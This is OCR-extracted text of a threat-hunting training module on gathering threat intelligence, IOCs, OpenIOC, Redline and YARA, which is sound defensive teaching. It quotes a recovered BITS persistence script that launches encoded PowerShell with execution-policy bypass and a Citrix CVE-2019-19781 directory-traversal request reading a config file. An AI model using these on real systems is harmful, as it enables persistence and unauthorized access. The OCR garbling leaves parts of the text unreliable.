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3.1 Introduction

In the previous module, Module 2 — Threat Hunting
Terminology, we discussed the 2 mindsets of a Threat
Hunter:

1. A hunter that relies mostly on threat intelligence
2. A hunter that relies primarily on digital forensics

Now, we'll go deeper into the first type of hunter, the one
that relies on threat intelligence.

“Threat Intelligence is data on threats.”
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3.1 Introduction

As you may recall, for data to become intelligence, it has to
be processed, analyzed, and become actionable. The data
will be pertinent to your infrastructure and assets. The data
will include context, not just indicators.

The intelligence may contain more than IP addresses, file
hashes, etc. It may contain TTPs, advice on how to stop
their attack, etc. Remember that this type of hunter is
relying on the information of known threats.

https://it.me/learningnets THPv2: Section 01, Module 03 - Caendra Inc. © 2020 | p.5



3.1 Introduction

The rest of this module will primarily focus on the manual
efforts a threat hunter will take to take to obtain threat data.

Of course, the preferred method would be through
automation (data automatically fed into a security appliance,
such as a SIEM, which works harmoniously with a
combination of other security appliances to give you
intelligence), but that is beyond the scope of this course.
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3.1 Introduction

Although discussed in a later module, a SIEM is a Security
Information and Event Management solution. It is a centralized
collection point where all logs (firewall, network, application,
event, etc.) are collected, so that the Security Analyst can analyze
them in one place, instead of logging into various consoles to
view log data. The logs can also contain external data.

To really benefit from cyber threat intelligence, you should
already be gathering internal data using a SIEM before you start
looking for threat intel externally.
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3.2 Threat Intelligence Reports

Several trusted third-parties collect and gather cyber intel
data and release Threat Intelligence reports. These reports
typically cover malicious activity that was observed and
explain specific threat actors associated with that activity.

As a threat hunter, you should be accustomed to reading
these reports when they are released.
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3.2 Threat Intelligence Reports

Some of those third-parties include but not limited to:

+ FireEye « Palo Alto Networks
* Verizon « Cylance
 TrustWave * F-Secure

 CrowdStrike

Note - we are not promoting one vendor over another or any
company'’s services/equipment.
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3.2.1 Threat Intelligence Reports - FireEye

For the sake of completeness, if we take FireEye as an
example, they create and publish threat intelligence reports
regularly, as well as an annual threat report.

The regular reports are available on their website, under
Resources > Threat Intelligence Reports. Those reports
focus on threat intelligence regarding threat actors, such as
APT?28, and threat groups, such as FING.

https://www.fireeye.com/current-threats/threat-intelligence-reports.html
E{tps AWIA f|re2i/ﬁcom/current -threats/apt-groups/rpt-apt28.html
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https://www.fireeye.com/current-threats/threat-intelligence-reports.html
https://www.fireeye.com/current-threats/apt-groups/rpt-apt28.html
https://www.fireeye.com/solutions/financial-services/rpt-fin6.html

3.2.1 Threat Intelligence Reports - FireEye

The naming convention for Financial Threats is known as FIN
groups. In the previous slide, FIN6 was listed. According to
MITRE, FING is a cybercrime group that steals credit card data
and sells it in underground markets. They target PoS (Point of
Sale) systems in the retail and hospitality sectors.

As you may recall, each vendor might have a different naming
convention for a particular threat group. For example, the FIN6
group is also known as GO037 under MITRE's naming
convention.
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https://attack.mitre.org/groups/G0037/

3.2.1 Threat Intelligence Reports - FireEye

The annual threat report from FireEye, called M-Trends,
focuses on trends from the year’'s breaches and cyber-
attacks. According to their website, the M-Trends report
provides an intelligence-led look at various topics, such as
emerging global threats and the latest defensive strategies.

The latest edition of M-Trends is published here. Although
we will highlight certain sections of the report, it is highly
recommended to read the entire report.
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https://www.fireeye.com/current-threats/annual-threat-report/mtrends.html

3.2.1 Threat Intelligence Reports - FireEye

The Executive Summary of M-Trends 2019 outlines:

On the surface, not much has changed over the past 10 years. 2018 was much
like 2017, and 2017 like the preceding years. We continue to see large impactful
incidents, though fewer high-profile public disclosures. Extortion cases are

on the rise, assisted by cryptocurrency and other forms of non-attributable
payment. Cryptocurrencies are also directly targeted via wallets, payment
systems and miners.

.

The significant trends or shifts we saw in 2018 were:

« A significant increase in public attribution performed by governments.
Recent years have seen a significant increase in private sector attribution of
attack activity, but the past year saw a significant number of attacks publicly
attributed by way of indictments from the U5, UK., Netherlands and Germany.
Some of these were assisted by data from private sector companies such as
FireEye. Governments have not changed their operational rules of engagement,
but they are combating threats publicly through indictments.

« Az more and more customers move to software as a service and cloud,
attackers are following the data. Attacks against cloud providers, telecoms, and
other organizations with access to large amounts of data have increased.
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3.2.1 Threat Intelligence Reports - FireEye

In the screenshot here,
the image ShOWS US INODUSTRIES INVESTIGATED -
that the two most
common industries for v
the generation of the e e ang e
report are Financial,
and Business and

Professional Services.

Retail and Hospitality

Note that this is based
on FireEye's —
investigations.
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3.2.1 Threat Intelligence Reports - FireEye

There is an increase of

| Retargeted incident response clients, by region.

attacks on organizations that | s
had previously experienced a | ameces ws | e
security incident by the same | ==
or similarly motivated attack m "“ ""

group.
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3.2.1 Threat Intelligence Reports - FireEye

The last thing we'll mention regarding the report is that it will
outline some of the TTPs uncovered in various
Investigations.

Figure 26. @echo off
Example of
recovered BITS
persistence
mechanism.

bitsadmin /rawreturn /ereate FirewallPolicyUpdate

bitsadmin frawreturn faddfile FirewallPolicyUpdate file:/c\windows\systern32,
kernelZ2.dll e’ windows\temp\h.jpg

bitsadmin frawreturn /setnotifyermdline FirewallPolicyUpdate “rundll32 exe™
“rundll32_exe javascript:"*" \mshtml, RunHTMLApplication “““:document.

write( newih%20ActiveXObject{ """ WScript.Shell™ ). Run{™“"'ci \wind ows
syswowB4\\WindowsPowerShell\\wil.0\\powershellexe -ep bypass

-Command $s=(gwmi Win32_0SRecoveryConfiguration).DebugFilePath -split

WU ab=%ExecutionContext invokeCommand.NewScriptBlock{[ system.Text.
Encoding J:Unicode.GetString{[system.Convert]::FromBase&4 String($3s[0]1))xicm b
-Argumentlist @(%s[1]):5tart-Sleap -Milliseconds 10000 trua)"

bitsadmin /frawreturn /setprierity FirewallPolicyUpdate high

bitsadmin /resurme FirewallPolicyUpdate 1
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3.2.1 Threat Intelligence Reports - FireEye

FireEye also publishes threat intelligence reports by
industry. So if your industry is Education, you will be able to
read a report specific to this industry.

You can get more information on these reports here.
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https://www.fireeye.com/current-threats/reports-by-industry.html

3.2.2 Threat Intelligence Research

Other than these reports, many companies and researchers
frequently publish new research reports on emerging
threats, often containing I0Cs.

As an example, we'll look into a publication from Palo Alto
Network’s Unit42 on a recent vulnerability in Citrix ADC and
Citrix Gateway.
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https://unit42.paloaltonetworks.com/exploits-in-the-wild-for-citrix-adc-and-citrix-gateway-directory-traversal-vulnerability-cve-2019-19781/
https://unit42.paloaltonetworks.com/

3.2.2 Threat Intelligence Research

The blog mentions that the vulnerability “allowed remote
attackers to easily send directory traversal requests, read
sensitive information from system configuration files
without the need for user authentication, and remotely
execute arbitrary code.”

This vulnerability is tracked using CVE-2019-19/81 and
given a critical risk rating with a score of 9.8.

https://unit42.paloaltonetworks.com/exploits-in-the-wild-for-citrix-adc-and-citrix-gateway-directory-traversal-vulnerability-cve-2019-19781/
https://cve.MITRE.org/cgi-bin/cvename.cgi?name=CVE-2019-19781

https://it.me/learningnets THPv2: Section 01, Module 03 - Caendra Inc. © 2020 | p.20


https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-19781

3.2.2 Threat Intelligence Research

In the publication, a detailed root cause analysis is provided
as well as Proof-of-Concept exploitation.

| Send J L <iv) Target: https://» " = *=i
Request Response

- Headers | Hex Raw I Headers ] Hex | Render

IGET /vpn/../vpns/cfg/smb.conf HTTP/1.1 | A HTTP/1.1 200 OK

Host: Pss Bas V. r Age: 1

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac X 10.14; Date: Wed, 08 Jan 2020 12:09:26 GMT

rv:55.0) Gecko/20100101 Firefox/55.0
Accept: */*

Accept-Language: zh-CN,zh;g=0.8,en-US;q=0.5,en;q=0.
Accept-Encoding: gzip, deflate

Referer: https:// #l«s"sl Ml B/vpn/

Connection: close

Connection: Keep-Alive
Via: NS-CACHE-10.0: 81
ETag: "S53 " * J*"*'& """
Server: Apache
X-Frame-Options:
Last-Modified: Tue,
Accept-Ranges: bytes
Content-Length: 83
X-XSS-Protection: 1; mode=block
Keep-Alive: timeout=15, max=100
Content-Type: text/plain; charset=UTF-8

SAMEORIGIN
03 Sep 2019 20:53:47 GMT

[global]
encrypt passwords = yes
name resolve order = lmhosts wins host bcast]

httpsit:imellearniag@netSxploits-in-the-wild-for-citrix-adc-and-citrix-

gateway-directory-traversal-vulnerability-cve-2019-19781/
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3.2.2 Threat Intelligence Research

Finally, in the conclusion section, they 1oCs o

provide a temporary fix recommended

by the vendor as well as IOCs and IP | 1202060052001

addresses associated with abnormal 1032081352002

scanning activity designed to exploit | zost st

this vulnerability. 10411244 1.1740.347
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3.2.2 Threat Intelligence Research

When reading a report or research publication, you should
try to gain the most out of it by asking questions such as:

« What / how was the objective achieved?
« What can we do to detect this activity?
* |s this similar to previously known activity?

Aim to identify some behavioral trends and map them to
TTPs. Focus on those that are difficult to change.
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3.2.2 Threat Intelligence Research

As you can imagine, constantly going through various blogs
can be a time consuming and daunting task, especially with
more vendors entering into this space.

One suggestion would be to create a dashboard and have
feeds auto-populate the dashboard with data from multiple
vendors
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3.2.2 Threat Intelligence Research

Here is a snippet of the
dashboard that we use
when gathering threat
intelligence from
multiple sources.

This will allow us to be
constantly in the know
as threat intelligence is
made available.

(&) us-cerT

Microsoft VMware Releases Security Updates ISC Releases Security Updates for BIND Apachg
Addresses Shadow 4/14/2017 » 6:13 PM 4/12/2017 » 10:19 PM Securit]
Brokers Exploits Original release date: April 14, 2017VMware Original release date: April 12, 2017The 4/12/201
4/15/2017  9:09 PM has released security updates to address a Internet Systems Consortium (ISC) has Original
Original release vulnerability in vCenter Server. Exploitation of released updates that address multiple Apache|
date: April 15, this vulnerability could allow a remote attacker vulnerabilities in BIND. A remote attacker could updates
2017 The Microsoft to take control of an affected system.Users and exploit any of these vulnerabilities to cause a Tomcat]
Security Response administrators are encouraged to review vulneral
Center (MSRC) has VMware Security Advisory VMSA-2017-0007 obtain s
published and apply the necessary update. This product Adobe Releases Security Updates adminis,
information on is provided subje;t to this Notification and this 4/11/2017  1:21 PM Apache
59‘{?_"?‘ rscentylyw Biivacy.&lse/pollcy; Original release date: April 11, 2017Adobe has 2:3%’
nihlicizad avnlni ; ; \

w Talos Blog ‘ Palo Alto Networks Blog

Cisco Coverage for Shadow Brokers 2017-
04-14 Information Release
2017 e 2:50 AM

4/15/2017 & 2:50 A

On Friday, April 14, the actor group identifying

Traps Prevents Cerber Ransomware's Bite
4/17/2017  4:00 PM

Unit 42 has published a number of articles over

the last six months discussing the malicious

Threat Round-up for Apr 7 - Apr 14
8 4/14/2017 ¢ 4 1

Today, Talos is publishing a glimpse into the
most prevalent threats we've observed

Palo Alto Networks News of the Week —
April 15, 2017
4/15/2017  7:00 AM

Did you miss any of this week's Palo Alto

B (jsco Coverage for CVE-2017-0199
4 017 e 3:05PM
Over the past week, information regarding a

IoT: Who Is Counting Your Steps?
7 4:00 PM

Should your fitness-tracking IoT device be

4/14

https://t.me/learningnets
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3.3.1 Threat Sharing and Exchanges — ISACs

Information Sharing and Analysis Centers (ISACs) are
member-driven organizations, delivering all-hazards threat
and mitigation information to asset owners and operators.

To maintain situational awareness across the various
critical infrastructure sectors, ISACs collaborate and share
threat and mitigation information with each other, and with
other partners through the National Council of ISACs.
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3.3.1 Threat Sharing and Exchanges — ISACs

You can view more information about ISACs, the National
Council of ISACs, and a list of member ISACs here.
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https://www.nationalisacs.org/

3.3.2 Threat Sharing and Exchanges — US-CERT

The United States Computer Emergency Readiness Team
(US-CERT) responds to major incidents, analyzes threats,
and provides critical cybersecurity information. You can

read more about them on their site. Below is an example of
the latest feed.

Current Activity
[ oo | [ oo | [ ee | [ es |
Thursday, February 6, 2020 Thursday, February 8, 2020 Wednesday, February 5,2020 Tuesday, February 4, 2020
ACSC Releases Advisory on Cisco Releases Security Google Releases Security IRS Launches “Identity Theft
Mailto Ransomware Updates for Multiple Updates for Chrome Central” Webpage
Incidents Products
]

hHP /It me/lea I)ingnets
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https://www.us-cert.gov/

3.3.2 Threat Sharing and Exchanges — US-CERT

Many countries have similar teams, and you may check
with them for information on threat sharing.
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3.3.3 Threat Sharing and Exchanges — OTX

AlienVault's Open Threat Exchange is an open threat
intelligence community that enables collaborative defense
with actionable, community-powered threat data. You can
join OTX here to view threat intelligence feed right away.

.. ELSHUNTER T = T TOP 5 CONTRIBUTORS
:79 .
Q Al Opuises SUBSCRIBED  ALIENVAULT NEW  UPDATED @ ﬁ e g
& 0 contributions N
Master Channel: The Boleto Mestre Campaign Targets Brazil RECOMMENDED PEOPLE TO FOLLOW
Istics [CEERTED] 1 HOUR AGO oy Alsnvaut | Publc | Lo v .
0 1 0 Maliciou: ften uses malware attachments or links to malware disguised as legitimate documents. In Brazil-based mals. [ susscriae | R
FOLLOWERS ‘SUBSCRIBERS CONTRIBUTED boleto,
EEEEEE Disrupting Gamarue
e | Busic | TR ) e
o 44,892
[ susscuiee]
Ethiopian Dissidents targeted with commercial spyware
URL:3 | Dc 44,887
SUBSCRIBERS ~ SUBSCRIBING 3 a i< o m
ﬁ cyberbit, Uzbekistan, zambia, fi ., vietnam, Kazakhstan, serbia, rwanda, nigeria

hHB?/‘ vav'vmheelnlveau tﬂ!c!!n') Ie‘netﬁgat-exchange THPv2: Section 01, Module 03 - Caendra Inc. © 2020 | p.31


https://www.alienvault.com/open-threat-exchange

Check out the video on Open
Threat Exchange & I0Cs!

To ACCESS your video, go to
the course in your members
area and click the resources
drop-down in the appropriate

module Iine. h, Usdute Name — Wi 1 . ........ »
Note that all videos are only P s TR T
available in Full or Elite 7 N

E i ONS Of 1Ne COUNS .
To upgrade, click LINK.
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https://www.elearnsecurity.com/course/threat_hunting_professional/enroll/

3.3.4 Threat Sharing and Exchanges — Threat

Connect

Threat Connect is another platform, similar to OTX, where
you can obtain threat intelligence freely. You can create an
account and join right away to start sifting through threat
intel.

You can join Threat Connect here.
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https://www.threatconnect.com/

.3.4 Threat Sharing and Exchanges — Threat

Connect

POSTS® ANALYZE  PLAYBODKS BROWSEw  CREATEw  IMPORT v  SAMUEL~ @ [B4  Search

‘_. s THREATCOMNECT DASHBOARD
MY THREATCONNEGT ~ My Dashboard
Q, Imelligence Lockup “F3 Top Sources by Observations (30 Days) ah Latest Intelligence

Blocklist.de Sou.

ndicators “

RUTgers Attacker.

€1 Army IP BL So.
'9 My Recent History
GreenSnow Blockl.

Summary Owner Viewed
BruteForceBlocke..

M Flash Report Common Commu... | 10-05-2017

o

5,000 10,000

Observed Indicators

*f1 Top Sources by False Positives (30 Days)

Commen Community
Technical Blogs -

abuse.ch Ransomu.
Bambenek Source

Hybrid Analysis

o 10 20 30 40

False Positive Indicators.

1 Incident

11 Incident

1 Incident

11 Incident

1-10 of 1769 Results

& Summary &
ISF predicts increasing impact of data breaches next year 12:06-2017
1SC Stormcast For Wednesday, December 6th 2017 https-//isc.sans.edu/podcast 12-06-2017
Cybercriminals vs financial institutions in 2018: what 10 expect 12:06-2017
Search encrypt 12-06-2017

%1 TopTags

104,491 j§ 94,297 79,730

VISION

27,

MALWARE TECHHELPLIST ADVANCED PER

17,773 35,532 31,557

RESEAR__ UNKNOWN MALWARE TRA PHISHING MALICIOUS RANSOMWARE

11,959 11, 8,545

TECHHELPLIST _ SUSPICIOUS EMERGINGTHR _

230 13,18
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3.3.5 Threat Sharing and Exchanges — MISP

Finally, the Malware Information Sharing Platform (MISP)
is an open-source software solution for collecting, storing,
distributing, and sharing cybersecurity indicators and
threats about cybersecurity incident analysis and malware
analysis.

hitps://t.me/learningnets THPv2: Section 01, Module 03 - Caendra Inc. © 2020 | p.35
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http://www.misp-project.org/

3.3.5 Threat Sharing and Exchanges — MISP

MISP provides functionalities to support the exchange of
information but also the consumption of said information
by Network Intrusion Detection Systems (NIDS) and also

log analysis tools, such as SIEMs.

You can visit the MISP Project for detailed information and
guidelines here.
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http://www.misp-project.org/

Indicators of
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3.4 Indicators of Compromise

Digital Guardian gives a good definition as to what IOCs
are.

Indicators of compromise (IOCs) are “pieces of forensic
data, such as data found in system log entries or files, that
identify potentially malicious activity on a system or
network.”
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https://digitalguardian.com/blog/what-are-indicators-compromise

3.4 Indicators of Compromise

Indicators of compromise aid information security and IT
professionals in detecting:

 Data breaches
« Malware infections
« Other threat activity

By monitoring for indicators of compromise, organizations can
detect attacks and act quickly to prevent breaches from
occurring, or limit damages by stopping attacks in earlier stages.
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3.4 Indicators of Compromise

When we obtain I0Cs from ISACs, threat sharing platforms,
etc., we need to get the I0C in the format that our tools will
understand. For instance, OTX allows us to download IOCs
in the OpenlOC format.

Typically, I0OCs are malware signatures, MDS hashes of
malware files, IP addresses, and URLs or domain names of
botnet command and control servers.

https://it.me/learningnets THPv2: Section 01, Module 03 - Caendra Inc. © 2020 | p.40



3.4.1 Indicators of Compromise — OpenlOC

OpenlOC, developed by FireEye, provides a standard format
and terms for describing the artifacts encountered during
the course of an investigation.

This course focuses only on the OpenlOC format, while
others also exist.
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3.4.2 Indicators of Compromise — |0C Editor

|OC Editor is a tool that we'll look at within this course. It is
a free tool that provides an interface for managing data and
manipulating the logical structures of 10Cs.

IOCs are XML documents that help security professionals
capture diverse information about threats, including
attributes of malicious files, characteristics of registry
changes, and artifacts in memory. You can download the
tool here.
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https://www.fireeye.com/services/freeware/ioc-editor.html

Check out the video on
Creating I0Cs with I0C Editor!

To ACCESS your video, go to
the course in your members
area and click the resources
drop-down in the appropriate
module line.

POF Resowrces

Note that all videos are only P L T TR TR L TRt S
available in Full or Elite Y N
Editions of the course. B e s

To upgrade, click LINK.
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https://www.elearnsecurity.com/course/threat_hunting_professional/enroll/

3.4.3 Indicators of Compromise — Redline

Another tool from FireEye that we'll look at within this
course is Redline.

Although we will look at Redline more extensively when
performing memory analysis in a later module, for now, we
will use the tool to search for IOCs on a machine.
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3.4.3 Indicators of Compromise — Redline

Redline can perform an Indicators of Compromise (I0C)
analysis. Supplied with a set of I0Cs, the Redline Portable
Agent is automatically configured to gather the data
required to perform the IOC analysis, and an IOC hit result
review.

You can download the tool from here.
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https://www.fireeye.com/services/freeware/redline.html

Check out the video on Redline
and 10Cs!

To ACCESS your video, go to
the course in your members
area and click the resources
drop-down in the appropriate
module line.

POF Resowrces

Note that all videos are only R R A R R RS S AR SRS PR
available in Full or Elite 7 N

Editions of the course. —_—
To upgrade, click LINK.
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https://www.elearnsecurity.com/course/threat_hunting_professional/enroll/

3.4.4 Indicators of Compromise — YARA

Lastly, in this chapter, let's look at YARA.

YARA is a tool aimed at (but not limited to) helping malware | =
researchers to identify and classify malware samples. With
YARA, you can create descriptions of malware families (or ™
whatever you want to describe) based on textual or binary
patterns.
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3.4.4 Indicators of Compromise — YARA

Even though we won't be performing malware analysis in
this course, we will still use YARA to detect the presence of

|OCs on a particular machine.

You can read more about Yara and download the tool here.
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3.4.4.1 VIDEO

Check out the video on Yara
and Yara Rules!

To ACCESS your video, go to
the course in your members
area and click the resources
drop-down in the appropriate
module line.

POF Resowrces

Note that all videos are only R R A R R RS S AR SRS PR
available in Full or Elite 7 N

Editions of the course. —_—
To upgrade, click LINK.
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3.4.5 Hera Lab

Hera for THP v2
e " ur @ unt: 120 hours,

Put what you've learned to
practice with the Hunting with
IOCs lab!

xxxxxxx

To ACCESS your lab, go to the
course in your members area
and click the labs drop-down in
the aplqropriate module line,

cli

then click the manual icon.
All labs are only available e L e PR AR R R AT AT AT N s
in Full or Elite Editions of / \

the course. To upgrade, e e ———

*NOTE: some courses contain several labs and manuals, please make sure to click the file icon as it may

CI |Ck LI N K be a zip that contains multiple lab manuals.
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Conclusion

This concludes this module on Threat Intelligence. We have
covered:

v' Manually gathering threat intelligence:

« Vendors that publish annual threat intelligence reports

* Vendors that publish occasional threat research reports
and/or blogs with I0Cs that we can use

« Threat sharing organizations
v 10C formats and tools for creating/editing I0Cs

@0 e
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Videos

Here’s a list of all videos in this module. To ACCESS your video, go to the
course in your members area and click the resources drop-down in the
appropriate module line.

Note that all videos are only available in Full or Elite Editions of the course.
To upgrade, click LINK.

Open Threat Exchange & I0Cs
Creating I0Cs with 10C Editor

Redline and IOCs

YARA and YARA Rules
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Labs

Hunting with I0Cs

Another organization within your ISAC has shared a malicious binary with your
security team. They mentioned this malware was detected by one of their threat
hunters. The malware was found inside various network shares within the
organization, disguising itself as a PDF file. Your manager has tasked you with
creating an I0C and YARA rule to scan the network for this malware.

*Labs are only available in Full or Elite Editions of the course. To ACCESS your labs, go to the course
in your members area and click the labs drop-down in the appropriate module line. To UPGRADE to
gain access, click LINK.
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